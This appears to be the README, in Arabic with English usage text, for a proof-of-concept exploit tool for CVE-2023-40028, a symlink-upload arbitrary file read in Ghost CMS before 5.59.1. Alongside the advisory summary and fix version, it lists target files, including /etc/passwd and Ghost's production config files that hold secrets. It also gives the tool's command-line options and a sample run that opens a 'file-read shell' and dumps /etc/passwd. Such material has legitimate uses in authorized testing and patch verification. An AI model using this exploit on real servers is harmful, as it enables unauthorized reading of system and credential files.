
POC لـ CVE-2023-40028: قراءة ملفات تعسفية في Ghost CMS
يمكن استخدام هذا الدليل الإثباتي (POC) لاستغلال ثغرة CVE-2023-40028 لتحقيق قراءة ملفات في Ghost CMS.
Ghost هو نظام إدارة محتوى (CMS) مفتوح المصدر. الإصدارات الأقدم من 5.59.1 معرضة لثغرة تسمح للمستخدمين الموثقين برفع ملفات تمثل روابط رمزية. يمكن استغلال ذلك لقراءة أي ملف بشكل تعسفي على نظام التشغيل المضيف. يمكن لمسؤولي الموقع التحقق من استغلال هذه المشكلة بالبحث عن روابط رمزية غير معروفة داخل مجلد content/ الخاص بـ Ghost. يحتوي الإصدار 5.59.1 على إصلاح لهذه المشكلة. يُنصح جميع المستخدمين بالترقية. لا توجد حلول بديلة معروفة لهذه الثغرة.
الشدة: 6.5 متوسطة المتجه: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
بعض الملفات النصية غير الثنائية التي قد تكون ذات أهمية:
/etc/hosts تحليل أسماء المجالات المحلية (DNS) في لينكس/etc/passwd حسابات المستخدمين في لينكس/etc/group مجموعات المستخدمين في لينكس/var/lib/ghost/config.local.json التهيئة المحلية لـ Ghost CMS/var/lib/ghost/config.production.json تهيئة الإنتاج لـ Ghost CMSusage: ghost_fileread.py [-h] -t URL [-f FILE] [-u USERNAME] [-p PASSWORD] [-c COOKIE] [-x PROXY] [--timeout TIMEOUT] [-a USERAGENT]
POC for CVE-2023-40028 (Symlink Upload to Arbitrary File Read in Ghost CMS)
options:
-h, --help show this help message and exit
-t URL, --url URL Target Ghost CMS URL (e.g., http://target-ghost-cms)
-f FILE, --file FILE File path to read
-u USERNAME, --username USERNAME
Username for authentication
-p PASSWORD, --password PASSWORD
Password for authentication
-c COOKIE, --cookie COOKIE
Cookie for authentication
-x PROXY, --proxy PROXY
HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
--timeout TIMEOUT Request timeout
-a USERAGENT, --useragent USERAGENT
User agent to use when sending requests
$ python3 ghost_fileread.py -t http://<url> -u '<username>' -p '<password>'
[*] Checking authentication (username/password) ...
[+] Admin session created successfully.
Welcome to the Ghost file-read shell. Type help or ? to list commands.
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash